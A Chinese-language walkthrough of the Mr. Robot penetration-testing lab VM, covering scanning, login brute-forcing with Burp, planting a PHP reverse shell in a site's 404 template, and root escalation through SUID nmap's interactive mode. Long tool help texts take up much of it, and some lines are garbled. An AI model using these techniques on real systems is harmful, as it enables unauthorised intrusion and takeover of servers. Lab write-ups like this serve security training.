发布于 

MrRoot渗透测试

渗透测试实验

MrRobot 主机,一切都是未知,只知道是一台服务器
准备工作: 修改虚拟机网络为 NAT 模式,与 kali 在同一局域网络中

涉及的工具

netdiscover,nmap,dirb,nikto,nc

详细步骤

第 1 步: 使用工具扫描主机的 IP 以及开放的端口
netdiscover 或者使用
netdiscover -i eth0 -r 192.168.131.0/24 -i device:您的网络设备
-r range:扫描给定范围而不是自动扫描。192.168.6.0/24,/16,/8

Netdiscover 0.5.1 [主动/被动 ARP 侦察工具] 撰稿:Jaime Penalba <jpenalbae@gmail.com> 

用法:netdiscover [-i device] [-r range | -l 文件| -p] [-m file] [-F filter] [-s time] [-c count] [-n node] [-dfPLNS]

-i device:您的网络设备 
-r range:扫描给定范围而不是自动扫描。 192.168.6.0/24,/16,/8 
-l file:扫描包含在给定文件中的范围列表 
-p 被动模式:不发送任何东西,只有嗅探 
-m file:扫描已知 MAC 和主机名列表 
-F filter:自定义 pcap 过滤器表达式(默认值:“arp”) 
-s time:每个 ARP 请求之间的休眠时间(毫秒) 
-c count:发送每个 ARP 请求的次数(对于丢包的网络) 
-n node:用于扫描的最后一个源 IP 八位字节(从 2 到 253) 
-d 忽略自动扫描和快速模式的主配置文件 
-f 启用快速模式扫描,节省大量时间,建议用于自动 
-P 打印的格式适合另一个程序解析,并在主动扫描后停止 
-L 类似于-P,但在主动扫描完成后继续侦听 
-N 不打印标题。仅在启用-P 或-L 时有效。 
-S 在每个请求之间启用睡眠时间抑制(硬核模式)

arp-scan -l

nmap -sV -O 192.168.131.190
-sV:探测开放端口以确定服务/版本信息
-O:启用 OS 检测

Nmap 7.70(https://nmap.org) 用法:nmap [扫描类型] [选项] {目标规范} 
目标规格: 可以传递主机名,IP 地址,网络等。
    例如:scanme.nmap.org,microsoft.com / 24,192.168.0.1; 10.0.0-255.1-254 
    -iL <inputfilename>:从主机/网络列表输入 
    -iR <num hosts>:选择随机目标 
    --exclude <host1 [,host2] [,host3],...>:排除主机/网络 
    --excludefile <exclude_file>:从文件中排除列表 主机发现:
     -sL:列表扫描 - 只列出要扫描的目标
     -sn:Ping 扫描 - 禁用端口扫描 
     -Pn:将所有主机视为在线 - 跳过主机发现 
     -PS / PA / PU / PY [端口列表]:给定端口的 TCP SYN / ACK,UDP 或 SCTP 发现           
     -PE / PP / PM:ICMP 回送,时间戳和网络掩码请求发现探测 
     -PO [协议列表]:IP 协议 Ping -n / 
     -R:从不进行 DNS 解析/始终解析[默认:有时] 
     --dns-servers <serv1 [,serv2],...>:指定自定义 DNS 服务器 
     --system-dns:使用 OS 的 DNS 解析器 
     --traceroute:每个主机的跟踪跳转路径 扫描技术: 
     -sS / sT / sA / sW / sM:TCP SYN / Connect()/ ACK / Window / Maimon 扫描    
     -sU:UDP 扫描 
     -sN / sF / sX:TCP Null,FIN 和 Xmas 扫描 
     --scanflags <flags>:自定义 TCP 扫描标志 
     -sI <zombie host [:probeport]>:空闲扫描 
     -sY / sZ:SCTP INIT / COOKIE-ECHO 扫描 
     -sO:IP 协议扫描 
     -b <FTP 中继主机>:FTP 反弹扫描 港口规格和扫描令: 
     -p <端口范围>:仅扫描指定的端口 例如:-p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9 
     --exclude-ports <端口范围>:从扫描中排除指定的端口 
     -F:快速模式 - 扫描比默认扫描更少的端口 
     -r:连续扫描端口 - 不要随机化 
     --top-ports <number>:扫描<number>最常见的端口 
     --port-ratio <ratio>:扫描端口比<ratio>更常见 服务/版本检测: 
     -sV:探测开放端口以确定服务/版本信息 
     --version-intensity <level>:从 0(亮)到 9(尝试所有探针)设置 
     --version-light:限制最可能的探针(强度 2) 
     --version-all:尝试每一个探针(强度 9) -
     -version-trace:显示详细的版本扫描活动(用于调试) 脚本扫描: 
     -sC:相当于--script = default 
     --script = <Lua scripts>:<Lua scripts>是逗号分隔的列表 目录,脚本文件或脚本类别 
     --script-args = <n1 = v1,[n2 = v2,...]>:为脚本提供参数 
     --script-args-file = filename:在文件中提供 NSE 脚本 args 
     --script-trace:显示发送和接收的所有数据 
     --script-updatedb:更新脚本数据库。 
     --script-help = <Lua scripts>:显示有关脚本的帮助。 <Lua scripts>是以逗号分隔的脚本文件列表或 脚本的类别。 操作系统检测:
     -O:启用 OS 检测 
     --osscan-limit:将 OS 检测限制为有希望的目标 
     --osscan-guess:更积极地猜测操作系统 时间和性能: 采用<time>的选项以秒为单位,或追加'ms'(毫秒), 该值的's'(秒),'m'(分钟)或'h'(小时)(例如 30m)。 
     -T <0-5>:设置时序模板(越高越快) 
     --min-hostgroup / max-hostgroup <size>:并行主机扫描组大小 
     --min-parallelism / max-parallelism <numprobes>:探测并行化 
     --min-rtt-timeout / max-rtt-timeout / initial-rtt-timeout <time>:指定 探测往返时间。 
     --max-retries <tries>:端口扫描探测重传的上限数量。 
     --host-timeout <time>:在此之后放弃目标 
     --scan-delay / - max-scan-delay <time>:调整探针之间的延迟 
     --min-rate <number>:发送数据包的速度不低于每秒<number> 
     --max-rate <number>:发送数据包的速度不超过<number>每秒 防火墙/ IDS 逃脱和防御: 
     -F; --mtu <val>:分段数据包(可选择 w /给定 MTU) 
     -D <decoy1,decoy2 [,ME],...>:用诱饵披露扫描 
     -S <IP_Address>:欺骗源地址 
     -e <iface>:使用指定的接口 
     -g / - source-port <portnum>:使用给定的端口号 
     --proxies <url1,[url2],...>:通过 HTTP / SOCKS4 代理的中继连接 
     --data <hex string>:为发送的数据包附加自定义有效负载 
     --data-string <string>:为发送的数据包附加自定义 ASCII 字符串 
     --data-length <num>:将随机数据附加到已发送的数据包 
     --ip-options <options>:发送带有指定 ip 选项的数据包 
     --ttl <val>:设置 IP 生存时间字段 
     --spoof-mac <mac address / prefix / vendor name>:欺骗你的 MAC 地址 
     --badsum:使用伪 TCP / UDP / SCTP 校验和发送数据包 
     
     OUTPUT:
     -oN / -oX / -oS / -oG <file>:正常输出扫描,XML,s | <rIpt kIddi3, 和 Grepable 格式,分别为给定的文件名。 
     -oA <basename>:一次输出三种主要格式 
     -v:增加详细级别(使用-vv 或更高级别以获得更好的效果) 
     -d:提高调试级别(使用-dd 或更多以获得更好的效果) 
     --reason:显示端口处于特定状态的原因 
     --open:仅显示打开(或可能打开)的端口 
     --packet-trace:显示发送和接收的所有数据包 
     --iflist:打印主机接口和路由(用于调试) 
     --appe

第 2 步:使用工具扫描网站的目录

dirb http://192.168.131.190/

----------------- DIRB v2.22 由黑暗掠夺者 ----------------- 
dirb <url_base> [<wordlist_file(s)>] [options]
=========================注意======================== = 
<url_base>:要扫描的基本网址。 (使用-resume 恢复会话) 
<wordlist_file(s)>:wordfiles 列表。 (wordfile1,wordfile2,wordfile3 ...) ======================== HOTKEYS ======================== 
'n' - >转到下一个目录。 
'q' - >停止扫描。 (保存状态为简历) 
'r' - >剩余的扫描统计数据。 
========================选项======================== 
-a <agent_string>:指定自定义 USER_AGENT。 
-b:按原样使用路径。 
-c <cookie_string>:为 HTTP 请求设置 cookie。
-E <certificate>:客户端证书的路径。 
-f:NOT_FOUND(404)检测的精细调整。
-H <header_string>:向 HTTP 请求添加自定义标头。 
-i:使用不区分大小写的搜索。 
-l:找到时打印“位置”标题。 
-N <nf_code>:忽略此 HTTP 代码的响应。
-o <output_file>:将输出保存到磁盘。 
-p <proxy [:port]>:使用此代理。 (默认端口为 1080) 
-P <proxy_username:proxy_password>:代理验证。
-r:不要递归搜索。 
-R:交互式递归。 (询问每个目录) 
-S:静音模式。不要显示经过测试的单词。 (对于哑终端) 
-t:不要在 URL 上强制使用结尾'/'。 
-u <用户名:密码>:HTTP 身份验证。 
-v:还显示 NOT_FOUND 页面。 
-w:不要停止 WARNING 消息。 
-X <extensions> / 
-x <exts_file>:使用此扩展名附加每个单词。 
-z <millisecs>:添加毫秒延迟以不会导致过多洪水。 
========================示例======================= 
dirb http:// url / directory /(简单测试) 
dirb http:// url / -X .html(带'.html'扩展名的测试文件) 
dirb http:// url / /usr/share/dirb/wordlists/vulns/apache.txt(使用 apache.txt wordlist 测试) 
dirb https:// secure_url /(使用 SSL 进行简单测试)

第 3 步:从扫描到的文件入手做信息收集

curl

可以发现一个字典文件和一个 hash 值 fsocity.dic


Hash 值尝试爆破


第 4 步:对网站进行漏洞扫描

nikto -host 192.168.131.190

选项主机需要参数
    -config +使用此配置文件 
    - 显示+打开/关闭显示输出 
    -dbcheck 检查数据库和其他密钥文件是否存在语法错误 
    -Format +保存文件(-o)格式 
    - 帮助扩展帮助信息 
    -host +目标主机/ URL -id +要使用的主机身份验证,格式为 id:pass 或 id:pass:realm 
    -list-plugins 列出所有可用的插件
    -output +将输出写入此文件 
    -nossl 禁用 SSL 
    -no404 禁用 404 检查 
    -Plugins +要运行的插件列表(默认值:ALL) 
    -port +使用端口(默认为 80) 
    -root +为所有请求预置根值,格式为/ directory 
    -ssl 在端口上强制 ssl 模式 - 调整+扫描调整 
    -timeout +请求超时(默认为 10 秒) 
    -update 从 CIRT.net 更新数据库和插件 
    -Version Print 插件和数据库版本 
    -vhost +虚拟主机(用于主机头) +需要一个值

参数变了,-h 变为-host

第 5 步: 网站有一个登录页,使用 burp 加载字典暴力破解

先尝试手工破解,输入一些简单用户名和密码,看显示内容

可以发现是当用户名不对时会显示用户名不对,所以可以尝试暴力破解,字典用刚才网站上 获取到的。

使用 BurpSuite 抓包,转发攻击模块,选择加载字典文件,发起攻击

可以发现用户名找到了 Elliot

有了用户名再继续破解密码
ER28-0652 ER28-0652

以上命令可以看出 正确密码是 858151 行,有点大,所以可以手动修改一下密码位置

第 6 步: 登录网站,寻找网站的漏洞

有一个模板可以自定义

第 7 步:利用漏洞获得 webshell 权限

网站有一个 404 模板页,当访问无效网页时会直接访问这个页面,而这个页面可以修改 我们可以将其替换成一个网页木马
从 kali 中的这个目录找到 php-reverse-shell.php

将其中的内容复制出来,放入到 404 模板页中,修改里面的 IP,点击 update file


然后在 kali 中监听一个对应的端口,等待触发反弹 shell 访问一个不存在的网页,
http://192.168.131.190/403321321321

反弹 shell


再执行
python -c ‘import pty; pty.spawn(“/bin/bash”)’
获取一个稳定的 shell

第 8 步:使用 shell 登录主机,获取系统密码信息

查看密码文件,

发现没法利用,先放一放。再看看其他目录,找到一个密码的 md5 散列.
c3fcd3d76192e4007dfb496cca67e13b



用户名:robot 密码:abcdefghijklmnopqrstuvwxyz

第 9 步:提权

查找可以利用的 SUID 权限程序,可以找到 nmap, 所以用 nmap 执行 root 权限

find / -user root -perm -4000 -print 2>/dev/null 
find / -perm -u=s -type f 2>/dev/null 
find / -user root -perm -4000 -exec ls -ldb {} \;

使用 nmap --interactive 命令进入 nmap, 然后使用!sh 可以产生一个 root 权限的新 shell

使用!bash -p 也可以产生一个 root 的 shell,到此提权成功

第 10 步:找到第三个 KEY

查看 root 目录下的文件,可以找到


小结

  1. 发现主机 netdiscover ,arp-scan, nmap
  2. 服务、系统版本、端口等信息 nmap,masscan
  3. 目录扫描、敏感文件获取 dirb,或者手工查看 robots.txt X.扩展 还可以使用在线网站 https://www.exploit-db.com/和命令 searchsploit 查找漏洞
  4. 网站源码、查看各种文件、尝试登陆 对网站进行全面分析
  5. 暴力破解 使用发现的字典用 burp 进行暴力破解
  6. 进入后台,进一步信息收集 文件上传、模板修改、插件
  7. 写入 shell 反弹 ,监听、连接 nc 监听 访问网页后门连接 nc
  8. 发现一些文件无法文件,进一步收集信息 使用 Python 切换 shell 发现一个 md5,使用在线网站破解 切换到 robot 的 shell
  9. 提权 查找 suid 程序:find / -perm -u=s -type f 2>/dev/null 判定 suid 程序是否能创建命令行,查询网站:[https://gtfobins.github.io/](https://gtfobins.github.io/) 如果能就能创建 root 的命令行,提权成功